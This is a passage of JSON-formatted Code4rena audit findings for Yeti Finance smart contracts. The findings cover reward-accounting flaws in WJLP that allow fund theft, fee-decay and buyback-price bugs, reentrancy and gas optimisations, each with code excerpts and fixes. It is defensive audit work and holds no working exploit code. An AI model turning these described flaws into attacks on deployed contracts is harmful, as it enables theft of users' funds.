ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/Whitelist.sol#L92:#L127) This is unlike `changeRatio`, which validates that the new ratio is in correct range. [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/Dependencies/Whitelist.sol#L204) ``` require(_ratio < 1100000000000000000, \"ratio must be less than 1.10 => greater than 1.1 would mean taking out more YUSD than collateral VC\"); ``` ## Recommended Mitigation Steps Add the same ratio check to `addCollateral`. "}, {"title": "Gas: Unnecessary deadline increase", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/211", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Gas: Unnecessary deadline increase"}, {"title": "ActivePool unwraps but does not update user state in WJLP", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/209", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details Calling `WJLP.unwrap` burns WJLP, withdraws the amount from the master chef and returns the same amount of JLP back to the `to` address. However, it does not update the internal accounting in `WJLP` with a `_userUpdate` call. This needs to be done on the caller side according to the comment in the `WJLP.unwrap` function: > \"Prior to this being called, the user whose assets we are burning should have their rewards updated\" This happens when being called from the `StabilityPool` but not when being called from the `ActivePool.sendCollateralsUnwrap`: ```solidity function sendCollateralsUnwrap(address _to, address[] memory _tokens, uint[] memory _amounts, bool _collectRewards) external override returns (bool) { _requireCallerIsBOorTroveMorTMLorSP(); require(_tokens.length == _amounts.length); for (uint i = 0; i < _tokens.length; i++) { if (whitelist.isWrapped(_tokens[i])) { // @audit this burns the tokens for _to but does not reduce their amount. so there are no tokens in WJLP masterchef but can keep claiming IWAsset(_tokens[i]).unwrapFor(_to, _amounts[i]); if (_collectRewards) { IWAsset(_tokens[i]).claimRewardFor(_to); } } else { _sendCollateral(_to, _tokens[i], _amounts[i]); // reverts if send fails } } return true; } ``` ## Impact The `unwrapFor` call withdraws the tokens from the Masterchef and pays out the user, but their user balance is never decreased by the withdrawn amount. They can still use their previous balance to claim rewards through `WJLP.claimReward` which updated their unclaimed joe reward according to the old balance. Funds from the WJLP pool can be stolen. ## Recommended Mitigation Steps As the comment says, make sure the user is updated before each `unwrap` call. It might be easier and safer to have a second authorized `unwrapFor` function that accepts a `rewardOwner` parameter, the user that needs to be updated. "}, {"title": "Wrapped JLP can be stolen", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/208", "labels": ["bug", "duplicate", "3 (High Risk)"], "target": "2021-12-yetifinance-findings", "body": "Wrapped JLP can be stolen"}, {"title": "Wrong `lastBuyBackPrice`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/206", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `sYETIToken.lastBuyBackPrice` is set in `buyBack` and hardcoded as: ```solidity function buyBack(address routerAddress, uint256 YUSDToSell, uint256 YETIOutMin, address[] memory path) external onlyOwner { require(YUSDToSell > 0, \"Zero amount\"); require(lastBuybackTime + 69 hours < block.timestamp, \"Must have 69 hours pass before another buyBack\"); yusdToken.approve(routerAddress, YUSDToSell); uint256[] memory amounts = IRouter(routerAddress).swapExactTokensForTokens(YUSDToSell, YETIOutMin, path, address(this), block.timestamp + 5 minutes); lastBuybackTime = block.timestamp; // amounts[0] is the amount of YUSD that was sold, and amounts[1] is the amount of YETI that was gained in return. So the price is amounts[0] / amounts[1] // @audit this hardcoded lastBuybackPrice is wrong when using a different path (think path length 3) lastBuybackPrice = div(amounts[0].mul(1e18), amounts[1]); emit BuyBackExecuted(YUSDToSell, amounts[0], amounts[1]); } ``` It divides the first and second return `amounts` of the swap, however, these amounts depend on the swap `path` parameter that is used by the caller. If a swap path of length 3 is used, then this is obviously wrong. It also assumes that each router sorts the pairs the same way (which is true for Uniswap/Sushiswap). ## Impact The `lastBuyBackPrice` will be wrong when using a different path. This will lead `rebase`s using a different yeti amount and the `effectiveYetiTokenBalance` being updated wrong. ## Recommended Mitigation Steps Verify the first and last element of the path are YETI/YUSD and use the first and last amount parameter. "}, {"title": "sYETIToken does not emit Approval event in `transferFrom`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/205", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `sYETIToken.transferFrom` function does not emit a new `Approval` event when decreasing the allowance. Most ERC20 implementations, like OpenZeppelin's, emit this event when the `allowance` is decreased. ## Impact Off-chain scripts and frontends will not correctly track the `allowance`s of users when listening to the `Approval` event. This can lead to failed transactions as a higher approval is assumed than it actually is. ## Recommended Mitigation Steps Emit the `Approval` event also in `transferFrom` if the approval is decreased. "}, {"title": "Fee not decayed if past `decayTime`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/204", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `ThreePieceWiseLinearPriceCurve.calculateDecayedFee` function is supposed to decay the `lastFeePercent` over time. This is correctly done in the `decay > 0 && decay < decayTime` case, but for the `decay > decayTime` case it does not decay at all but should set it to 0 instead.. ```solidity if (decay > 0 && decay < decayTime) { // @audit if decay is close to decayTime, this fee will be zero. but below it'll be 1. the more time passes, the higher the decay. but then decay > decayTime should return 0. fee = lastFeePercent.sub(lastFeePercent.mul(decay).div(decayTime)); } else { fee = lastFeePercent; } ``` ## Recommended Mitigation Steps It seems wrong to handle the `decay == 0` case (decay happened in same block) the same way as the `decay >= decayTime` case (decay happened long time ago) as is done in the `else` branch. I believe it should be like this instead: ```solidity // decay == 0 case should be full lastFeePercent if(decay < decayTime) { fee = lastFeePercent.sub(lastFeePercent.mul(decay).div(decayTime)); } else { // reset to zero if decay >= decayTime fee = 0; } ``` "}, {"title": "rong comment in `getFee`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/203", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `ThreePieceWiseLinearPriceCurve.getFee` comment states that the total + the input must be less than the cap: > If dollarCap == 0, then it is not capped. Otherwise, **then the total + the total input** must be less than the cap. The code only checks if the input is less than the cap: ```solidity // @param _collateralVCInput is how much collateral is being input by the user into the system if (dollarCap != 0) { require(_collateralVCInput <= dollarCap, \"Collateral input exceeds cap\"); } ``` ## Recommended Mitigation Steps Clarify the desired behavior and reconcile the code with the comments. "}, {"title": "`lastFeePercent` can be > 100%", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/202", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "`lastFeePercent` can be > 100%"}, {"title": "`lastFeeTime` can be reset", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/201", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "`lastFeeTime` can be reset"}, {"title": "Cannot use most piecewise linear functions with current implementation", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/200", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `ThreePieceWiseLinearPriceCurve.adjustParams` function uses three functions `f1, f2, f3` where `y_i = f_i(x_i)`. It computes the y-axis intersect (`b2 = f_2(0), b3 = f_3(0)`) for each of these but uses **unsigned integers** for this, which means these values cannot become negative. This rules out a whole class of functions, usually the ones that are desirable. #### Example: Check out this two-piece linear interest curve of Aave: ![Aave](https://docs.aave.com/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-M51Fy3ipxJS-0euJX3h-2670852272%2Fuploads%2Fycd9OMRnInNeetUa7Lj1%2FScreenshot%202021-11-23%20at%2018.52.26.png?alt=media&token=7a25b900-7023-4ee5-b582-367d56d31894) The intersection of the second steep straight line with the y-axis `b_2 = f_2(0)` would be negative. Example: Imagine a curve that is flat at `10%` on the first 50% utilization but shoots up to `110%` at 100% utilization. - `m1 = 0, b1 = 10%, cutoff1 = 50%` - `m2 = 200%` => `b2 = m1 * cutoff1 + b1 - m2 * cutoff1 = f1(cutoff1) - m2 * cutoff1 = 10% - 200% * 50% = 10% - 100% = -90%`. (`f2(100%) = 200% * 100% - 90% = 110%` \u2705) This function would revert in the `b2` computation as it underflows due to being a negative value. ## Impact Most curves that are actually desired for a lending platform (becoming steeper at higher utilization) cannot be used. ## Recommended Mitigation Steps Evaluate the piecewise linear function in a different way that does not require computing the y-axis intersection value. For example, for `cutoff2 >= x > cutoff1`, use `f(x) = f_1(cutoff) + f_2(x - cutoff)`. See [Compound](https://github.com/compound-finance/compound-protocol/blob/master/contracts/JumpRateModel.sol#L85). "}, {"title": "Missing cutoff checks in `adjustParams`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/199", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle cmichel # Vulnerability details The `ThreePieceWiseLinearPriceCurve.adjustParams` function does not check that `_cutoff1 <= _cutoff2` and also does not revert in this case. However, this always indicates an error in how this function should be used. ## Recommended Mitigation Steps Add a `_cutoff1 <= _cutoff2` check. "}, {"title": "Collateral parameters can be overwritten", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/198", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-yetifinance-findings", "body": "Collateral parameters can be overwritten"}, {"title": "Missing duplicate checks in `withdrawColl`", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/197", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-yetifinance-findings", "body": "Missing duplicate checks in `withdrawColl`"}, {"title": "contracts/Dependencies/CheckContract.sol has a potential gas optimization", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/189", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact CheckContract is used in ActivePool, BorrowerOperations, CollSurplusPool, DefaultPool, HintHelpers, PriceFeed, SortedTroves, StabilityPool, TroveManager, TroveManagerLiquidations, TroveManagerRedemptions but this is a view function and could easily be implemented as an internal library call. This would result in slightly larger contract bytecode but should be far more gas efficient than an external contract call as is the current case. ## Proof of Concept https://medium.com/coinmonks/gas-cost-of-solidity-library-functions-dbe0cedd4678 \"\"\" Use any of the internal calling methods. We prefer internal library calls, because of the associated class features (see Class Features of Solidity by the same author). Using an external call to a public library function is very expensive, and will only be worth it to avoid including a lot of code into the bytecode for your contract. Using a local contract component is the most expensive option and should be avoided unless essential. \"\"\" https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/Dependencies/CheckContract.sol#L6 ## Tools Used Slither ## Recommended Mitigation Steps Declare CheckContract as an internal library: https://medium.com/coinmonks/all-you-should-know-about-libraries-in-solidity-dd8bc953eae7 \"\"\" Embedded Library: If a smart contract is consuming a library which have only internal functions than EVM simply embeds library into the contract. Instead of using delegate call to call a function, it simply uses JUMP statement(normal method call). There is no need to separately deploy library in this scenario. \"\"\" "}, {"title": "contracts/TroveManagerRedemptions.sol is missing inheritance", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/188", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact TroveManagerRedemptions does not inherit contracts/Interfaces/ITroveManagerRedemptions.sol but should. Note that TroveManager.sol does inherit ITroveManager. Decoupling an interface from its implementation can lead to code drift and incomplete or incorrect interfaces/implementations. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/TroveManagerRedemptions.sol#L38 ## Tools Used Slither ## Recommended Mitigation Steps Declare contract as \"TroveManagerRedemptions is TroveManagerBase, ITroveManagerRedemptions\" "}, {"title": "contracts/TroveManagerLiquidations.sol is missing inheritance", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/187", "labels": ["bug", "1 (Low Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact TroveManagerLiquidations does not inherit contracts/Interfaces/ITroveManagerLiquidations.sol but should. Note that TroveManager.sol does inherit ITroveManager. Decoupling an interface from its implementation can lead to code drift and incomplete or incorrect interfaces/implementations. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/TroveManagerLiquidations.sol#L14 ## Tools Used Slither ## Recommended Mitigation Steps Declare contract as \"TroveManagerLiquidations is TroveManagerBase, ITroveManagerLiquidations\" "}, {"title": "Reentrancy in contracts/BorrowerOperations.sol", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/183", "labels": ["bug", "2 (Med Risk)"], "target": "2021-12-yetifinance-findings", "body": "Reentrancy in contracts/BorrowerOperations.sol"}, {"title": "NamespaceCollision: Multiple SafeMath contracts", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/181", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact Got an error attempting Slither analysis due to several contracts defining \"SafeMath\" - In this case there are *two* distinct safe math libraries, one dependent on solc 0.6.11 and one dependent on solc ^0.8.0. This can lead to confusion during development. Ideally the safe math version of the application contract [0.6.11] would be standardized but in this case *re-naming* the SafeMath contracts also suffices. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/AssetWrappers/WJLP/SafeMath.sol#L15 https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/Dependencies/SafeMath.sol#L21 ## Tools Used Slither ## Recommended Mitigation Steps Rename packages/contracts/contracts/AssetWrappers/WJLP/SafeMath.sol to SafeMath080.sol [and updating the declared contract to the same name] "}, {"title": "Multiple contracts or interfaces with the same name", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/180", "labels": ["bug", "0 (Non-critical)", "disagree with severity", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle heiho1 # Vulnerability details ## Impact Got an error attempting Slither analysis due to Pool2Unipool and Unipool declaring the same contract named LPTokenWrapper. It is confusing and error prone to have such similarly named contracts and there is no clear benefit to re-using the name. ## Proof of Concept https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/LPRewards/Pool2Unipool.sol#L23 https://github.com/code-423n4/2021-12-yetifinance/blob/5f5bf61209b722ba568623d8446111b1ea5cb61c/packages/contracts/contracts/LPRewards/Pool2Unipool.sol#L23 ## Tools Used Slither ## Recommended Mitigation Steps Rename LPTokenWrapper in Pool2Unipool to 'Pool2LPTokenWrapper' and correct any related imports. "}, {"title": "\"constants\" expressions are expressions, not constants, so constant\u00a0`keccak`\u00a0variables results in extra hashing (and so gas).", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/175", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Dravee # Vulnerability details ## Impact In a number of places a `keccak(\"string\")` expression is assigned to a `constant` variable. Due to how `constant` variables are implemented this results in the hash being recomputed each time that the variable is used, spending the gas necessary to perform this action. If these variables were to be `immutable` this hash is calculated once at deploy time and then the result is saved to be used directly at runtime rather than recalculating, saving the cost of hashing. See: [ethereum/solidity#9232](https://github.com/ethereum/solidity/issues/9232) ## Proof of Concept ``` YETI\\YETIToken.sol: 50: bytes32 private constant _PERMIT_TYPEHASH = keccak256(\"Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)\"); 51: bytes32 private constant _TYPE_HASH = keccak256(\"EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)\"); YETI\\BoringCrypto\\Domain.sol: 10: bytes32 private constant DOMAIN_SEPARATOR_SIGNATURE_HASH = keccak256(\"EIP712Domain(uint256 chainId,address verifyingContract)\"); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Change all `constant` hashes to be `immutable` "}, {"title": "!= 0 costs less gass compared to > 0 for unsigned integer inside pure or view functions", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/173", "labels": ["bug", "duplicate", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "!= 0 costs less gass compared to > 0 for unsigned integer inside pure or view functions"}, {"title": "Check if transfer amount > 0", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/171", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Checking non-zero transfer values can avoid an external call to save gas. ## Proof of Concept Instances missing a non-zero check: ``` ActivePool.sol: 156: bool sent = IERC20(_collateral).transfer(_to, _amount); BorrowerOperations.sol: 742: bool transferredToActivePool = coll.transferFrom(_from, address(activePool), amount); DefaultPool.sol: 121: bool success = IERC20(_collateral).transfer(activePool, _amount); StabilityPool.sol: 947: IERC20(assets[i]).transfer(_to, amounts[i]); TeamAllocation.sol: 69: require(YETI.transfer(member, amount)); 77: YETI.transfer(_to, _amount); YetiFinanceTreasury.sol: 25: _token.transfer(_to, _amount); AssetWrappers\\WJLP\\WJLP.sol: 127: JLP.transferFrom(_from, address(this), _amount); 166: JLP.transfer(_to, _amount); 273: JOE.transfer(_to, _amount); Dependencies\\LiquityBase.sol: 170: if (!token.transfer(_to, _coll.amounts[i])) { LPRewards\\Dependencies\\SafeERC20.sol: 23: _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); 27: _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); YETI\\CommunityIssuance.sol: 125: yetiToken.transfer(_account, _YETIamount); YETI\\LockupContract.sol: 68: yetiTokenCached.transfer(beneficiary, YETIBalance); YETI\\ShortLockupContract.sol: 67: yetiTokenCached.transfer(beneficiary, YETIBalance); YETI\\sYETIToken.sol: 203: yetiToken.transfer(to, amount); YETI\\TeamLockup.sol: 47: require(YETI.transfer(multisig, _amount)); ``` ## Tools Used VS Code ## Recommended Mitigation Steps Check if transfer amount > 0. It is done at some places already, like here: https://github.com/code-423n4/2021-12-yetifinance/blob/1da782328ce4067f9654c3594a34014b0329130a/packages/contracts/contracts/LPRewards/Unipool.sol#L189-L192 "}, {"title": "Explicit initialization with zero not required", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/170", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "# Handle Dravee # Vulnerability details ## Impact Explicit initialization with zero is not required for variable declaration because uints are 0 by default. Removing this will reduce contract size and save a bit of gas. ## Proof of Concept Instances include: ``` ./NFTXEligibilityManager.sol:85: for (uint256 i = 0; i < modulesCopy.length; i++) { ./NFTXLPStaking.sol:81: for (uint256 i = 0; i < vaultIds.length; i++) { ./NFTXLPStaking.sol:206: for (uint256 i = 0; i < vaultIds.length; i++) { ./NFTXMarketplaceZap.sol:263: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXMarketplaceZap.sol:297: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXMarketplaceZap.sol:379: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:399: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:414: for (uint256 i = 0; i < ids.length; i++) { ./NFTXMarketplaceZap.sol:437: for (uint256 i = 0; i < idsIn.length; i++) { ./NFTXSimpleFeeDistributor.sol:62: for (uint256 i = 0; i < length; i++) { { ./NFTXVaultUpgradeable.sol:364: for (uint256 i = 0; i < len; i++) { ./NFTXVaultUpgradeable.sol:406: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXVaultUpgradeable.sol:419: for (uint256 i = 0; i < tokenIds.length; i++) { ./NFTXVaultUpgradeable.sol:442: for (uint256 i = 0; i < amount; i++) { ``` ## Tools Used Manual Analysis ## Recommended Mitigation Steps Remove explicit initialization with zero. "}, {"title": "Bytes constants are more efficient than string constants", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/169", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Bytes constants are more efficient than string constants"}, {"title": "Use of uint8 for counter in for loop increases gas costs", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/168", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Use of uint8 for counter in for loop increases gas costs"}, {"title": "Incompatibility With Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/167", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Incompatibility With Rebasing/Deflationary/Inflationary tokens"}, {"title": "Use `calldata` instead of `memory` for function parameters", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/164", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "Use `calldata` instead of `memory` for function parameters"}, {"title": "Declare state variables as immutable", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/162", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle p4st13r4 # Vulnerability details ## Impact In `WJLP.sol`, state variables `JLP` and `JOE` are initialized in the constructor and never reassigned again. Thus, they can be declared `immutable` rather than `constant` in order to save gas ## Proof of Concept [https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L41](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L41) ## Tools Used Editor "}, {"title": "Mixed compiler versions", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/158", "labels": ["bug", "1 (Low Risk)"], "target": "2021-12-yetifinance-findings", "body": "Mixed compiler versions"}, {"title": "Usage of assert() instead of require()", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/157", "labels": ["bug", "G (Gas Optimization)"], "target": "2021-12-yetifinance-findings", "body": "Usage of assert() instead of require()"}, {"title": "Wrong assumption that wrapped asset holder is receiver of wrapped asset rewards", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/153", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Wrong assumption that wrapped asset holder is receiver of wrapped asset rewards"}, {"title": "StabilityPool does not update rewards when upwrapping wrapped asset", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/152", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "StabilityPool does not update rewards when upwrapping wrapped asset"}, {"title": "Out of gas.", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/151", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Out of gas."}, {"title": "ActivePool does not update rewards before unwrapping wrapped asset", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/150", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details When ActivePool sends collateral which is a wrapped asset, it first unwraps the asset, and only after that updates the rewards. This should be done in opposite order. As a comment in WJLP's `unwrapFor` rightfully mentions - \"Prior to this being called, the user whose assets we are burning should have their rewards updated\". ## Impact Lost yield for user. ## Proof of Concept In ActivePool's `sendCollateralsUnwrap` (which is used throughout the protocol), it firsts unwraps the asset, and only afterwards calls `claimRewardFor` which will update the rewards: [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/ActivePool.sol#L186:#L188) ``` IWAsset(_tokens[i]).unwrapFor(_to, _amounts[i]); if (_collectRewards) { IWAsset(_tokens[i]).claimRewardFor(_to); } ``` `claimRewardFor` will end up calling `_userUpdate`: [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L246:#L263) ``` function _userUpdate(address _user, uint256 _amount, bool _isDeposit) private returns (uint pendingJoeSent) { uint256 accJoePerShare = _MasterChefJoe.poolInfo(_poolPid).accJoePerShare; UserInfo storage user = userInfo[_user]; if (user.amount > 0) { user.unclaimedJOEReward = user.amount.mul(accJoePerShare).div(1e12).sub(user.rewardDebt); } if (_isDeposit) { user.amount = user.amount.add(_amount); } else { user.amount = user.amount.sub(_amount); } user.rewardDebt = user.amount.mul(accJoePerShare).div(1e12); } ``` Now, as ActivePool has already called `unwrapFor` and has burnt the user's tokens, and let's assume they all were used as collateral, it means user.amount=0*, and the user's unclaimedJOEReward won't get updated to reflect the rewards from the last user update. This is why, indeed as the comment in `unwrapFor` says, user's reward should be updated prior to that. *Note: at the moment `unwrapFor` doesn't updates the user's user.amount, but as I detailed in another issue, that's a bug, as that means the user will continue accruing rewards even after his JLP were removed from the protocol. ## Recommended Mitigation Steps Change the order of operations in `sendCollateralsUnwrap` to first send the updated rewards and then unwrap the asset. You can also consider adding to the beginning of `unwrapFor` a call to `_userUpdate(_to, 0, true)` to make sure the rewards are updated before unwrapping. Note: as user can choose to have JOE rewards accrue to a different address than the address that uses WJLP as collateral, you'll have to make sure you update the current accounts. I'll detail this in another issue. "}, {"title": "Gas saving", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/148", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "# Handle 0x1f8b # Vulnerability details ## Impact Gas saving. ## Proof of Concept Moving the substraction inside the if condition in `TimeswapPair.withdraw` could be avoided the zero substraction. ## Tools Used Manual review. ## Recommended Mitigation Steps Change: ``` pool.state.reserves.asset -= tokensOut.asset; pool.state.reserves.collateral -= tokensOut.collateral; if (tokensOut.asset > 0) asset.safeTransfer(assetTo, tokensOut.asset); if (tokensOut.collateral > 0) collateral.safeTransfer(collateralTo, tokensOut.collateral);. ``` to ``` if (tokensOut.asset > 0) { pool.state.reserves.asset -= tokensOut.asset; asset.safeTransfer(assetTo, tokensOut.asset); } if (tokensOut.collateral > 0) { pool.state.reserves.collateral -= tokensOut.collateral; collateral.safeTransfer(collateralTo, tokensOut.collateral);. } ``` "}, {"title": "Unwhitelisted token can cause disaster", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/146", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Unwhitelisted token can cause disaster"}, {"title": "Target pool does not get updated due to receiveCollateral not being called", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/145", "labels": ["bug", "1 (Low Risk)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Target pool does not get updated due to receiveCollateral not being called"}, {"title": "Deprecated collateral check is missing in sendCollaterals", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/144", "labels": ["bug", "0 (Non-critical)", "sponsor disputed"], "target": "2021-12-yetifinance-findings", "body": "Deprecated collateral check is missing in sendCollaterals"}, {"title": "Gas savings: Require statement is not needed", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/143", "labels": ["bug", "G (Gas Optimization)", "sponsor acknowledged"], "target": "2021-12-yetifinance-findings", "body": "Gas savings: Require statement is not needed"}, {"title": "WJLP loses unclaimed rewards when updating user's rewards", "html_url": "https://github.com/code-423n4/2021-12-yetifinance-findings/issues/141", "labels": ["bug", "3 (High Risk)", "sponsor confirmed"], "target": "2021-12-yetifinance-findings", "body": "# Handle kenzo # Vulnerability details After updating user's rewards in `_userUpdate`, if the user has not claimed them, and `_userUpdate` is called again (eg. on another `wrap`), the user's unclaimed rewards will lose the previous unclaimed due to wrong calculation. ## Impact Loss of yield for user. ## Proof of Concept When updating the user's unclaimedJoeReward, the function doesn't save it's previous value. [(Code ref)](https://github.com/code-423n4/2021-12-yetifinance/blob/main/packages/contracts/contracts/AssetWrappers/WJLP/WJLP.sol#L251:#L253) ``` if (user.amount > 0) { user.unclaimedJOEReward = user.amount.mul(accJoePerShare).div(1e12).sub(user.rewardDebt); } if (_isDeposit) { user.amount = user.amount.add(_amount); } else { user.amount = user.amount.sub(_amount); } // update for JOE rewards that are already accounted for in user.unclaimedJOEReward user.rewardDebt = user.amount.mul(accJoePerShare).div(1e12); ``` So for example, rewards can be lost in the following scenario. We'll mark \"acc1\" for the value of \"accJoePerShare\" at step 1. 1. User Zebulun wraps 100 tokens. After `_userUpdate` is called: unclaimedJOEReward = 0, rewardDebt = 100*acc1. 2. Zebulun wraps 50 tokens: unclaimedJOEReward = 100*acc2 - 100*acc1, rewardDebt = 150 * acc2. 3. Zebulun wraps 1 token: unclaimedJOEReward = 150*acc3 - 150*acc2, rewardDebt = 151*acc3 So in the last step, Zebulun's rewards only take into account the change in accJoePerShare in steps 2-3, and lost the unclaimed rewards from steps 1-2. ## Recommended Mitigation Steps Change the unclaimed rewards calculation to: ``` user.unclaimedJOEReward = 